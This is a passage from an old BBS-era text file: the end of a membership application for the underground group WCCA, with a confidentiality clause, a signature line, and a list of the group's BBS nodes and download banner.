  2094. disclosed or discussed cannot then be used against CPI or any member(s) of CPI
  2095. in a court of law. I further agree that all the terms and restrictions as noted
  2096. above also correspond to the entire group of WCCA, West Coast Corrupted
  2097. Allegiance.
  2098.  
  2099. Typed:____________________
  2100.  
  2101.  
  2102. -----------------------------------------------------------------------------
  2103.        .Answer Each Question To The Best And Fullest Of Your Ability.
  2104. -----------------------------------------------------------------------------
  2105.  
  2106.              Upload ALL Applications To The WCCA Headquarters BBS
  2107.  
  2108.                   T H E    A N D R O M E D A    S T R A I N
  2109.  
  2110.                     * 619-566-7093 * 1200/2400 * 24 HRS *
  2111.  
  2112.                                                    
  2113.   _______________________<==| CURRENT WCCA NODES |==>_________________________ 
  2114.  /--------------+------------------------------------+-----------------+------\
  2115.  | Phone Number | Node Name                          | Sysop           | Baud |
  2116.  +--------------+------------------------------------+-----------------+------+
  2117.  | 619-484-3508 | The Phrozen Phorest                | Ancient Mariner | 1200 |
  2118.  \--------------+------------------------------------+-----------------+------/
  2119.   
  2120.  Future WCCA Support BBS's Will Be Active - Applications May Be Turned In Then
  2121. 
  2122. Downloaded From P-80 International Information Systems 304-744-2253
  2123.